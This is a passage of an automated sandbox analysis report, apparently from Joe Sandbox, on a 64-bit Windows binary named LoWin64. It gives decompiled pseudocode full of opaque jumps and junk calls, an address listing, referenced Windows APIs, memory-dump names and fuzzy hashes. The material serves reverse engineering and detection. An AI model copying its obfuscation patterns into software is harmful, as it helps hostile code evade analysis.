				if (0x34 == 0x16) goto 0xb1caf65f;
				E00007FF67FF6B1D3ACF4(_t387);
				if (0x34 - 0x16 >= 0) goto 0xb1caf65a;
				_t389 = _t387 - _t527 + _t527;
				if (0x34 - 0x23 > 0) goto 0xb1caf69b;
				E00007FF67FF6B1D3ACF4(_t389);
				if (0x34 - 0x23 >= 0) goto 0xb1caf670;
				_t391 = _t389 - _t527 + _t527;
				goto 0xb1caf695;
				E00007FF67FF6B1D3ACF4(_t391);
				if (0x34 - 0x16 >= 0) goto 0xb1caf68c;
				_t393 = _t391 - _t527 + _t527;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = 0x3c;
				_t281 = 0x3c + _t527 - 0x4c;
				if (_t281 < 0) goto 0xb1caf5f5;
				GetUserDefaultLangID();
				asm("sldt word [ebx]");
				asm("sti");
				 *0xb1decf60 = 0x21;
				E00007FF67FF6B1D3ACF4(_t393);
				if (_t281 >= 0) goto 0xb1caf6dc;
				_t395 = _t393 - _t527 + _t527;
				if (0x34 != 0x7a) goto 0xb1caf6e6;
				if (0x21 - 0x31 < 0) goto 0xb1caf6bd;
				GetCurrentProcess();
				IsZoomed(??);
				GetParent(??);
				E00007FF67FF6B1D3ACF4(_t395);
				if (0x21 - 0x31 >= 0) goto 0xb1caf70d;
				_t397 = _t395 - _t527 + _t527;
				if (0x34 - 0x2d >= 0) goto 0xb1caf732;
				E00007FF67FF6B1D3ACF4(_t397);
				if (0x34 - 0x2d >= 0) goto 0xb1caf723;
				_t399 = _t397 - _t527 + _t527;
				 *0xb1decf60 = 0;
				_t127 = E00007FF67FF6B1D3ACF4(_t399);
				if (0x34 - 0x2d >= 0) goto 0xb1caf743;
				_t401 = _t399 - _t527 + _t527;
				r14d = 0x6a;
				if ((_t127 & r14d | r15d) == r14d) goto 0xb1caf7fd;
				E00007FF67FF6B1D3ACF4(_t401);
				_t403 = _t401 - _t527 + _t527;
				if (0x34 != 0x2c) goto 0xb1caf802;
				E00007FF67FF6B1D3ACF4(_t403);
				if (0x34 - 0x2c >= 0) goto 0xb1caf780;
				if (0x34 == 0x69) goto 0xb1caf827;
				 *_t527 =  *_t527 + spl;
				asm("invalid");
				asm("pop es");
				_t408 = (_t403 & 0x8000007f) - _t527 + _t527 - _t527 + _t527;
				if (0x34 - 0x52 >= 0) goto 0xb1caf7ab;
				 *0xb1decf60 = _t527;
				goto 0xb1caf7d0;
				 *0xb1da43f0();
				E00007FF67FF6B1D3ACF4(_t408);
				if (0x34 - 0x52 >= 0) goto 0xb1caf7c1;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = 0x59;
				if (0x59 + _t527 - 0x5f < 0) goto 0xb1caf78e;
				_t138 = E00007FF67FF6B1D3ACF4((_t408 & 0x8000007f) - _t527 + _t527);
				goto 0xb1caf821;
				asm("verw ax");
				asm("out 0xb4, eax");
				 *0x34 =  *0x34 | _t138 | r15d;
				if (0x34 - 0x69 >= 0) goto 0xb1caf818;
				 *0xb1decf60 = 0;
				asm("adc eax, [eax]");
				_t418 = 0x54 + _t527;
				if (0x54 - 0x63 < 0) goto 0xb1caf82c;
				E00007FF67FF6B1D3ACF4(_t418);
				if (0x54 - 0x63 >= 0) goto 0xb1caf849;
				_t421 = (_t418 & 0x8000007f) - _t527 + _t527;
				if (0x54 != 0x12) goto 0xb1caf855;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t421);
				if (0x54 - 0x12 >= 0) goto 0xb1caf865;
				if ((_t421 & 0x8000007f) - _t527 + _t527 != 0x34) goto 0xb1caf877;
				GetUserDefaultLangID();
				 *0xb1decf60 = r12d;
				asm("adc eax, [eax]");
				_t426 = 0x3a + _t527;
				if (0x3a - 0x43 < 0) goto 0xb1caf87c;
				E00007FF67FF6B1D3ACF4(_t426);
				if (0x3a - 0x43 >= 0) goto 0xb1caf899;
				_t429 = (_t426 & 0x8000007f) - _t527 + _t527;
				asm("movsd xmm6, [0x10f177]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x3a - 0x43 <= 0) goto 0xb1caf8d9;
				E00007FF67FF6B1D3ACF4(_t429);
				if (0x3a - 0x43 >= 0) goto 0xb1caf8bf;
				_t432 = (_t429 & 0x8000007f) - _t527 + _t527;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x3a;
				goto 0xb1caf8eb;
				 *0xb1da4000();
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = _t527;
				GetWindowTextLengthW(??);
				E00007FF67FF6B1D3ACF4(_t432);
				E00007FF67FF6B1D3ACF4(_t432);
				if (0x3a - 0x43 >= 0) goto 0xb1caf90e;
				_t435 = (_t432 & 0x8000007f) - _t527 + _t527;
				asm("movsd xmm6, [0x10f00a]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x3a - 0x43 > 0) goto 0xb1caf92d;
				 *0xb1decf60 = r12d;
				goto 0xb1caf955;
				E00007FF67FF6B1D3ACF4(_t435);
				_t436 = _t435 & 0x8000007f;
				if (0x3a >= 0) goto 0xb1caf93d;
				_t438 = _t436 - _t527 + _t527;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x3a;
				GetTopWindow(??);
				bpl =  !bpl;
				asm("adc eax, [eax]");
				E00007FF67FF6B1D3ACF4(_t438);
				if (0x3a >= 0) goto 0xb1caf97d;
				_t441 = (_t438 & 0x8000007f) - _t527 + _t527;
				if (0x3a - 0x66 > 0) goto 0xb1caf987;
				if (0x2f - 0x30 < 0) goto 0xb1caf962;
				r15d = 0x42;
				 *0xb1decf60 = 0x2f;
				_t164 = E00007FF67FF6B1D3ACF4(_t441);
				if (0x2f - 0x30 >= 0) goto 0xb1caf9ab;
				_t445 = ((_t441 & 0x8000007f) - _t527 | 0xffffff80) + _t527;
				if (_t164 != r14d) goto 0xb1caf9b5;
				if (0x2f + _t527 - 0x48 < 0) goto 0xb1caf990;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t445);
				_t448 = (_t445 - _t527 | 0xffffff80) + _t527;
				if (0x3a - 0x2d > 0) goto 0xb1cafa1f;
				E00007FF67FF6B1D3ACF4(_t448);
				if (0x3a - 0x2d >= 0) goto 0xb1caf9e6;
				_t452 = ((_t448 & 0x8000007f) - _t527 | 0xffffff80) + _t527;
				if (0x3a == 0xb) goto 0xb1cafa1f;
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = _t527;
				E00007FF67FF6B1D3ACF4(_t452);
				if (0x3a - 0xb >= 0) goto 0xb1cafa14;
				_t456 = ((_t452 & 0x8000007f) - _t527 | 0xffffff80) + _t527;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(_t456);
				if (0x3a - 0x2d >= 0) goto 0xb1cafa2f;
				_t460 = ((_t456 & 0x8000007f) - _t527 | 0xffffff80) + _t527;
				if (0x3a == 0x1e) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(_t460);
				if (0x3a - 0x1e >= 0) goto 0xb1cafa44;
				if (0x3a - 0x30 < 0) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(((_t460 & 0x8000007f) - _t527 | 0xffffff80) + _t527);
				if (0x3a - 0x30 >= 0) goto 0xb1cafa59;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(((((_t460 & 0x8000007f) - _t527 | 0xffffff80) + _t527 & 0x8000007f) - _t527 | 0xffffff80) + _t527);
				if (0x3a - 0x1e >= 0) goto 0xb1cafa74;
				 *0xb1decf60 = 0;
				asm("adc eax, [eax]");
				_t474 = 0x6 + _t527;
				if (0x6 - 0x11 < 0) goto 0xb1cafa88;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebx;
				if (r13d - 0x7b < 0) goto 0xb1cafa83;
				asm("adc eax, [eax]");
				if (0x3e + _t527 - 0x41 < 0) goto 0xb1cafaaa;
				E00007FF67FF6B1D3ACF4(_t474);
				r13d = 0x8000007f;
				asm("push es");
				_t477 = (_t474 - _t527 | 0xffffff80) + _t527;
				if (0x6 != 0x3c) goto 0xb1cafb01;
				AnyPopup();
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t477);
				if (0x6 - 0x3c >= 0) goto 0xb1cafaf6;
				_t480 = (_t477 - _t527 | 0xffffff80) + _t527;
				if (0x6 == 0x75) goto 0xb1cafb01;
				_t315 = r15d - 0x4a;
				if (_t315 < 0) goto 0xb1cafad6;
				E00007FF67FF6B1D3ACF4(_t480);
				if (_t315 >= 0) goto 0xb1cafb11;
				_t483 = (_t480 - _t527 | 0xffffff80) + _t527;
				 *0xb1decf60 = 0;
				GetCommandLineW();
				E00007FF67FF6B1DA4020();
				asm("movsd xmm6, [0x10ec2c]");
				GetDesktopWindow();
				 *0xb1decf60 = _t527;
				E00007FF67FF6B1D3ACF4(_t483);
				if (0x6 - 0x3c >= 0) goto 0xb1cafb50;
				_t486 = (_t483 - _t527 | 0xffffff80) + _t527;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x6;
				 *0xb1decf60 = 0x41;
				_t317 = 0x41 + _t527 - 0x4c;
				if (_t317 < 0) goto 0xb1cafb34;
				IsIconic(??);
				IsZoomed(??);
				E00007FF67FF6B1D3ACF4(_t486);
				if (_t317 >= 0) goto 0xb1cafb95;
				_t489 = (_t486 - _t527 | 0xffffff80) + _t527;
				if (0x6 - 0x6c <= 0) goto 0xb1cafc80;
				E00007FF67FF6B1D3ACF4(_t489);
				if (0x6 - 0x6c >= 0) goto 0xb1cafbae;
				_t492 = (_t489 - _t527 | 0xffffff80) + _t527;
				if (0x6 != 0x15) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t492);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbc3;
				_t495 = (_t492 - _t527 | 0xffffff80) + _t527;
				if (0x6 != 0x5d) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t495);
				if (0x6 - 0x5d >= 0) goto 0xb1cafbd8;
				_t498 = (_t495 - _t527 | 0xffffff80) + _t527;
				goto 0xb1cafc47;
				E00007FF67FF6B1D3ACF4(_t498);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbed;
				_t501 = (_t498 - _t527 | 0xffffff80) + _t527;
				if (0x6 != 0x63) goto 0xb1cafc55;
				_t196 = E00007FF67FF6B1D3ACF4(_t501);
				asm("rcl dword [ebx], cl");
				goto 0xb1cafbb7;
				 *0x6 =  *0x6 | _t196 + bpl;
				if (0x6 - 0x63 >= 0) goto 0xb1cafc14;
				_t504 = (_t501 - _t527 | 0xffffff80) + _t527;
				if (0x6 - 0x43 >= 0) goto 0xb1cafc1e;
				if (0x38 - 0x44 < 0) goto 0xb1cafbfc;
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				_t325 = r14d - 0x6f;
				if (_t325 < 0) goto 0xb1cafbf2;
				E00007FF67FF6B1D3ACF4(_t504);
				if (_t325 >= 0) goto 0xb1cafc44;
				_t507 = (_t504 - _t527 | 0xffffff80) + _t527;
				 *0xb1decf60 = 0;
				goto 0xb1cafc5c;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t507);
				if (0x6 - 0x63 >= 0) goto 0xb1cafc6c;
				_t510 = (_t507 - _t527 | 0xffffff80) + _t527;
				 *0xb1decf60 = 0;
				goto 0xb1cafd19;
				_t328 = E00007FF67FF6B1D3ACF4(_t510) & r13d;
				if (_t328 >= 0) goto 0xb1cafc90;
				_t513 = (_t510 - _t527 | 0xffffff80) + _t527;
				asm("movsd xmm0, [0x10edd0]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t328 != 0) goto 0xb1cafca8;
				if (_t328 == 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4(_t513);
				if (_t328 >= 0) goto 0xb1cafcb8;
				_t516 = (_t513 - _t527 | 0xffffff80) + _t527;
				if (0x6 - _t527 > 0) goto 0xb1cafcc4;
				 *0xb1decf60 = _t527;
				goto 0xb1cafd13;
				if ((E00007FF67FF6B1D3ACF4(_t516) & r13d) >= 0) goto 0xb1cafcd4;
				if (0x6 - 0x5e < 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4((_t516 - _t527 | 0xffffff80) + _t527);
				if (0x6 - 0x5e >= 0) goto 0xb1cafce9;
				if (0x6 - 0x67 >= 0) goto 0xb1cafd13;
				 *0xb1decf60 = _t527;
				E00007FF67FF6B1D3ACF4(((_t516 - _t527 | 0xffffff80) + _t527 - _t527 | 0xffffff80) + _t527);
				if (0x6 - 0x67 >= 0) goto 0xb1cafd04;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t527;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = 0x33;
				AnyPopup();
				r8d = r8d | 0xffffffff;
				0xb1ca6ecc(); // executed
				if (0x6 == 0) goto 0xb1cafd51;
				r8d = 0;
				_t214 = E00007FF67FF6B1CB5030(r12d & 0xffffff00 | 0x00000006 - 0x00000067 < 0x00000000, _t255, r8d, (((_t516 - _t527 | 0xffffff80) + _t527 - _t527 | 0xffffff80) + _t527 - _t527 | 0xffffff80) + _t527, _t527, __rsi, __rsi, _t567);
				goto 0xb1cafd54;
				0xb1cb1e80(); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return _t214;
			}

0x7ff6b1caf356
0x7ff6b1caf358
0x7ff6b1caf35e
0x7ff6b1caf368
0x7ff6b1caf36f
0x7ff6b1caf371
0x7ff6b1caf375
0x7ff6b1caf379
0x7ff6b1caf37d
0x7ff6b1caf37f
0x7ff6b1caf383
0x7ff6b1caf38d
0x7ff6b1caf393
0x7ff6b1caf3ab
0x7ff6b1caf3ad
0x7ff6b1caf3af
0x7ff6b1caf3b5
0x7ff6b1caf3bb
0x7ff6b1caf3bd
0x7ff6b1caf3c0
0x7ff6b1caf3c2
0x7ff6b1caf3c9
0x7ff6b1caf3cb
0x7ff6b1caf3d1
0x7ff6b1caf3d7
0x7ff6b1caf3dc
0x7ff6b1caf3e2
0x7ff6b1caf3e9
0x7ff6b1caf3f0
0x7ff6b1caf3fb
0x7ff6b1caf401
0x7ff6b1caf409
0x7ff6b1caf40f
0x7ff6b1caf416
0x7ff6b1caf41f
0x7ff6b1caf426
0x7ff6b1caf42a
0x7ff6b1caf435
0x7ff6b1caf43b
0x7ff6b1caf441
0x7ff6b1caf448
0x7ff6b1caf44f
0x7ff6b1caf456
0x7ff6b1caf458
0x7ff6b1caf467
0x7ff6b1caf46b
0x7ff6b1caf46d
0x7ff6b1caf473
0x7ff6b1caf478
0x7ff6b1caf47a
0x7ff6b1caf480
0x7ff6b1caf483
0x7ff6b1caf48b
0x7ff6b1caf492
0x7ff6b1caf497
0x7ff6b1caf499
0x7ff6b1caf4a1
0x7ff6b1caf4a8
0x7ff6b1caf4b3
0x7ff6b1caf4b9
0x7ff6b1caf4bc
0x7ff6b1caf4c3
0x7ff6b1caf4c7
0x7ff6b1caf4c9
0x7ff6b1caf4ce
0x7ff6b1caf4d7
0x7ff6b1caf4de
0x7ff6b1caf4e3
0x7ff6b1caf4e5
0x7ff6b1caf4ed
0x7ff6b1caf4f4
0x7ff6b1caf4ff
0x7ff6b1caf505
0x7ff6b1caf50d
0x7ff6b1caf514
0x7ff6b1caf519
0x7ff6b1caf51b
0x7ff6b1caf523
0x7ff6b1caf52a
0x7ff6b1caf52f
0x7ff6b1caf531
0x7ff6b1caf539
0x7ff6b1caf540
0x7ff6b1caf54b
0x7ff6b1caf551
0x7ff6b1caf553
0x7ff6b1caf559
0x7ff6b1caf55f
0x7ff6b1caf567
0x7ff6b1caf56e
0x7ff6b1caf573
0x7ff6b1caf575
0x7ff6b1caf57d
0x7ff6b1caf584
0x7ff6b1caf586
0x7ff6b1caf58e
0x7ff6b1caf592
0x7ff6b1caf596
0x7ff6b1caf59a
0x7ff6b1caf59c
0x7ff6b1caf59e
0x7ff6b1caf5a6
0x7ff6b1caf5ad
0x7ff6b1caf5b8
0x7ff6b1caf5ba
0x7ff6b1caf5c2
0x7ff6b1caf5c9
0x7ff6b1caf5ce
0x7ff6b1caf5d0
0x7ff6b1caf5d8
0x7ff6b1caf5ea
0x7ff6b1caf5fb
0x7ff6b1caf5fc
0x7ff6b1caf5fe
0x7ff6b1caf601
0x7ff6b1caf603
0x7ff6b1caf609
0x7ff6b1caf60e
0x7ff6b1caf610
0x7ff6b1caf618
0x7ff6b1caf61f
0x7ff6b1caf621
0x7ff6b1caf625
0x7ff6b1caf629
0x7ff6b1caf631
0x7ff6b1caf633
0x7ff6b1caf63b
0x7ff6b1caf642
0x7ff6b1caf647
0x7ff6b1caf649
0x7ff6b1caf651
0x7ff6b1caf658
0x7ff6b1caf65d
0x7ff6b1caf65f
0x7ff6b1caf667
0x7ff6b1caf66e
0x7ff6b1caf679
0x7ff6b1caf67b
0x7ff6b1caf683
0x7ff6b1caf68a
0x7ff6b1caf695
0x7ff6b1caf69b
0x7ff6b1caf6a1
0x7ff6b1caf6a9
0x7ff6b1caf6ac
0x7ff6b1caf6b2
0x7ff6b1caf6c1
0x7ff6b1caf6c4
0x7ff6b1caf6c5
0x7ff6b1caf6cb
0x7ff6b1caf6d3
0x7ff6b1caf6da
0x7ff6b1caf6df
0x7ff6b1caf6e4
0x7ff6b1caf6e6
0x7ff6b1caf6ee
0x7ff6b1caf6f6
0x7ff6b1caf6fc
0x7ff6b1caf704
0x7ff6b1caf70b
0x7ff6b1caf710
0x7ff6b1caf712
0x7ff6b1caf71a
0x7ff6b1caf721
0x7ff6b1caf72c
0x7ff6b1caf732
0x7ff6b1caf73a
0x7ff6b1caf741
0x7ff6b1caf743
0x7ff6b1caf74c
0x7ff6b1caf752
0x7ff6b1caf765
0x7ff6b1caf76a
0x7ff6b1caf770
0x7ff6b1caf777
0x7ff6b1caf783
0x7ff6b1caf792
0x7ff6b1caf794
0x7ff6b1caf796
0x7ff6b1caf79c
0x7ff6b1caf7a1
0x7ff6b1caf7a3
0x7ff6b1caf7a9
0x7ff6b1caf7ab
0x7ff6b1caf7b1
0x7ff6b1caf7b8
0x7ff6b1caf7ca
0x7ff6b1caf7d0
0x7ff6b1caf7db
0x7ff6b1caf7dd
0x7ff6b1caf7fb
0x7ff6b1caf806
0x7ff6b1caf809
0x7ff6b1caf80b
0x7ff6b1caf80f
0x7ff6b1caf821
0x7ff6b1caf830
0x7ff6b1caf832
0x7ff6b1caf837
0x7ff6b1caf839
0x7ff6b1caf840
0x7ff6b1caf847
0x7ff6b1caf84c
0x7ff6b1caf84e
0x7ff6b1caf855
0x7ff6b1caf85c
0x7ff6b1caf868
0x7ff6b1caf86a
0x7ff6b1caf870
0x7ff6b1caf880
0x7ff6b1caf882
0x7ff6b1caf887
0x7ff6b1caf889
0x7ff6b1caf890
0x7ff6b1caf897
0x7ff6b1caf899
0x7ff6b1caf8a1
0x7ff6b1caf8a5
0x7ff6b1caf8a9
0x7ff6b1caf8ad
0x7ff6b1caf8af
0x7ff6b1caf8b6
0x7ff6b1caf8bd
0x7ff6b1caf8bf
0x7ff6b1caf8c6
0x7ff6b1caf8ca
0x7ff6b1caf8d1
0x7ff6b1caf8d7
0x7ff6b1caf8d9
0x7ff6b1caf8df
0x7ff6b1caf8e5
0x7ff6b1caf8ed
0x7ff6b1caf8f3
0x7ff6b1caf8f9
0x7ff6b1caf8fe
0x7ff6b1caf905
0x7ff6b1caf90c
0x7ff6b1caf90e
0x7ff6b1caf916
0x7ff6b1caf91a
0x7ff6b1caf91e
0x7ff6b1caf922
0x7ff6b1caf924
0x7ff6b1caf92b
0x7ff6b1caf92d
0x7ff6b1caf932
0x7ff6b1caf934
0x7ff6b1caf93b
0x7ff6b1caf93d
0x7ff6b1caf944
0x7ff6b1caf948
0x7ff6b1caf94f
0x7ff6b1caf957
0x7ff6b1caf966
0x7ff6b1caf968
0x7ff6b1caf96a
0x7ff6b1caf974
0x7ff6b1caf97b
0x7ff6b1caf980
0x7ff6b1caf985
0x7ff6b1caf987
0x7ff6b1caf992
0x7ff6b1caf998
0x7ff6b1caf9a2
0x7ff6b1caf9a9
0x7ff6b1caf9ae
0x7ff6b1caf9b3
0x7ff6b1caf9b5
0x7ff6b1caf9bc
0x7ff6b1caf9cf
0x7ff6b1caf9d4
0x7ff6b1caf9d6
0x7ff6b1caf9dd
0x7ff6b1caf9e4
0x7ff6b1caf9e9
0x7ff6b1caf9eb
0x7ff6b1caf9f1
0x7ff6b1caf9f8
0x7ff6b1caf9fe
0x7ff6b1cafa04
0x7ff6b1cafa0b
0x7ff6b1cafa12
0x7ff6b1cafa1d
0x7ff6b1cafa1f
0x7ff6b1cafa26
0x7ff6b1cafa2d
0x7ff6b1cafa32
0x7ff6b1cafa34
0x7ff6b1cafa3b
0x7ff6b1cafa47
0x7ff6b1cafa49
0x7ff6b1cafa50
0x7ff6b1cafa62
0x7ff6b1cafa64
0x7ff6b1cafa6b
0x7ff6b1cafa7d
0x7ff6b1cafa8c
0x7ff6b1cafa8e
0x7ff6b1cafa93
0x7ff6b1cafa95
0x7ff6b1cafa9c
0x7ff6b1cafaa3
0x7ff6b1cafaae
0x7ff6b1cafab4
0x7ff6b1cafab6
0x7ff6b1cafabb
0x7ff6b1cafaca
0x7ff6b1cafacf
0x7ff6b1cafad4
0x7ff6b1cafad6
0x7ff6b1cafadc
0x7ff6b1cafadf
0x7ff6b1cafae6
0x7ff6b1cafaee
0x7ff6b1cafaf4
0x7ff6b1cafaf9
0x7ff6b1cafafb
0x7ff6b1cafaff
0x7ff6b1cafb01
0x7ff6b1cafb09
0x7ff6b1cafb0f
0x7ff6b1cafb1a
0x7ff6b1cafb20
0x7ff6b1cafb26
0x7ff6b1cafb2c
0x7ff6b1cafb34
0x7ff6b1cafb3a
0x7ff6b1cafb40
0x7ff6b1cafb48
0x7ff6b1cafb4e
0x7ff6b1cafb50
0x7ff6b1cafb57
0x7ff6b1cafb5b
0x7ff6b1cafb64
0x7ff6b1cafb6a
0x7ff6b1cafb70
0x7ff6b1cafb73
0x7ff6b1cafb77
0x7ff6b1cafb7f
0x7ff6b1cafb85
0x7ff6b1cafb8d
0x7ff6b1cafb93
0x7ff6b1cafb98
0x7ff6b1cafb9e
0x7ff6b1cafba6
0x7ff6b1cafbac
0x7ff6b1cafbb1
0x7ff6b1cafbb3
0x7ff6b1cafbbb
0x7ff6b1cafbc1
0x7ff6b1cafbc6
0x7ff6b1cafbc8
0x7ff6b1cafbd0
0x7ff6b1cafbd6
0x7ff6b1cafbdb
0x7ff6b1cafbdd
0x7ff6b1cafbe5
0x7ff6b1cafbeb
0x7ff6b1cafbf0
0x7ff6b1cafbf2
0x7ff6b1cafc01
0x7ff6b1cafc05
0x7ff6b1cafc07
0x7ff6b1cafc0c
0x7ff6b1cafc12
0x7ff6b1cafc17
0x7ff6b1cafc1c
0x7ff6b1cafc1e
0x7ff6b1cafc24
0x7ff6b1cafc2b
0x7ff6b1cafc2e
0x7ff6b1cafc32
0x7ff6b1cafc34
0x7ff6b1cafc3c
0x7ff6b1cafc42
0x7ff6b1cafc4d
0x7ff6b1cafc53
0x7ff6b1cafc55
0x7ff6b1cafc5c
0x7ff6b1cafc64
0x7ff6b1cafc6a
0x7ff6b1cafc75
0x7ff6b1cafc7b
0x7ff6b1cafc85
0x7ff6b1cafc88
0x7ff6b1cafc8e
0x7ff6b1cafc90
0x7ff6b1cafc98
0x7ff6b1cafc9c
0x7ff6b1cafca0
0x7ff6b1cafca4
0x7ff6b1cafca6
0x7ff6b1cafca8
0x7ff6b1cafcb0
0x7ff6b1cafcb6
0x7ff6b1cafcba
0x7ff6b1cafcbc
0x7ff6b1cafcc2
0x7ff6b1cafccc
0x7ff6b1cafcd7
0x7ff6b1cafcd9
0x7ff6b1cafce1
0x7ff6b1cafcec
0x7ff6b1cafcee
0x7ff6b1cafcf4
0x7ff6b1cafcfc
0x7ff6b1cafd0d
0x7ff6b1cafd13
0x7ff6b1cafd19
0x7ff6b1cafd20
0x7ff6b1cafd2a
0x7ff6b1cafd30
0x7ff6b1cafd39
0x7ff6b1cafd40
0x7ff6b1cafd42
0x7ff6b1cafd4a
0x7ff6b1cafd4f
0x7ff6b1cafd57
0x7ff6b1cafd5c
0x7ff6b1cafd6b
0x7ff6b1cafd7f

APIs

GetLastActivePopup.USER32 ref: 00007FF6B1CAF38D
GetMessageExtraInfo.USER32 ref: 00007FF6B1CAF3DC
GetCurrentProcess.KERNEL32 ref: 00007FF6B1CAF401
IsIconic.USER32 ref: 00007FF6B1CAF409
GetSystemDefaultLangID.KERNEL32 ref: 00007FF6B1CAF43B
GetLargePageMinimum.KERNEL32 ref: 00007FF6B1CAF47A

Strings

R, xrefs: 00007FF6B1CAFD4A
$!, xrefs: 00007FF6B1CAFD57

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ActiveCurrentDefaultExtraIconicInfoLangLargeLastMessageMinimumPagePopupProcessSystem
String ID: $!$R
API String ID: 1327399704-3637212060
Opcode ID: afef1fbf39e47b0f8363ef749e893ef9db605ef1e05edde0ebb123db07d005e9
Instruction ID: 38d5392fc2d20b15c53823c8b21fe934d2c4fb20ee2721adcf24cd4f9d654434
Opcode Fuzzy Hash: afef1fbf39e47b0f8363ef749e893ef9db605ef1e05edde0ebb123db07d005e9
Instruction Fuzzy Hash: C03248A7E3890776F7165F3CAD9A2BD56A06F2424DF680738C719D129ACF3CF2468205

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA771D Relevance: 35.5, APIs: 19, Strings: 1, Instructions: 497
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00007FF67FF6B1CA771D(void* __eax, void* __ebx, void* __esi, void* __ebp, void* __r12, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				void* _t115;
				void* _t132;
				void* _t149;
				void* _t150;
				void* _t151;
				signed long long _t159;
				signed long long _t160;
				signed long long _t161;
				signed long long _t162;
				signed long long _t163;
				signed long long _t164;
				signed long long _t169;
				signed int _t172;
				void* _t176;

				if (_t159 != 0x3a) goto 0xb1ca7779;
				E00007FF67FF6B1D3ACF4(_t159);
				_t160 = _t159 & _t169;
				if (_t160 >= 0) goto 0xb1ca773d;
				_t149 = _t160 - 0x2b;
				if (_t149 >= 0) goto 0xb1ca77cd;
				E00007FF67FF6B1D3ACF4(_t160);
				_t161 = _t160 & _t169;
				if (_t149 >= 0) goto 0xb1ca7758;
				_t150 = _t161 - _t176;
				if (_t150 < 0) goto 0xb1ca77cd;
				E00007FF67FF6B1D3ACF4(_t161);
				_t162 = _t161 & _t169;
				if (_t150 >= 0) goto 0xb1ca776e;
				_t151 = _t162 - 0x2b;
				goto 0xb1ca77c7;
				E00007FF67FF6B1D3ACF4(_t162);
				_t163 = _t162 & _t169;
				if (_t151 >= 0) goto 0xb1ca778b;
				E00007FF67FF6B1D3ACF4(_t163);
				_t164 = _t163 & _t169;
				if (_t151 >= 0) goto 0xb1ca779d;
				 *0xb1decf60 = _t172;
				_t115 = E00007FF67FF6B1D3ACF4(_t164);
				if (_t164 - 0x36 >= 0) goto 0xb1ca77be;
				 *0xb1decf60 = _t172;
				asm("adc al, 0x0");
				if (0x25 - 0x28 < 0) goto 0xb1ca77d2;
				asm("str word [ecx+0x14576f1d]");
				 *((intOrPtr*)(_t172 + 3)) =  *((intOrPtr*)(_t172 + 3)) + (_t115 - r13d | r14d) + r13d + r13d;
				IsIconic(??);
				GetCurrentProcessId();
				GetDesktopWindow();
				GetParent(??);
				E00007FF67FF6B1D3ACF4(0x25);
				if (0x25 - 0x59 >= 0) goto 0xb1ca7869;
				E00007FF67FF6B1D3ACF4(0x25);
				if (0x25 - 0x59 >= 0) goto 0xb1ca7843;
				if (0x25 == 6) goto 0xb1ca7869;
				_t132 = E00007FF67FF6B1D3ACF4(0x108010100000025);
				if (0x25 - 6 >= 0) goto 0xb1ca785a;
				 *0xb1decf60 = 0;
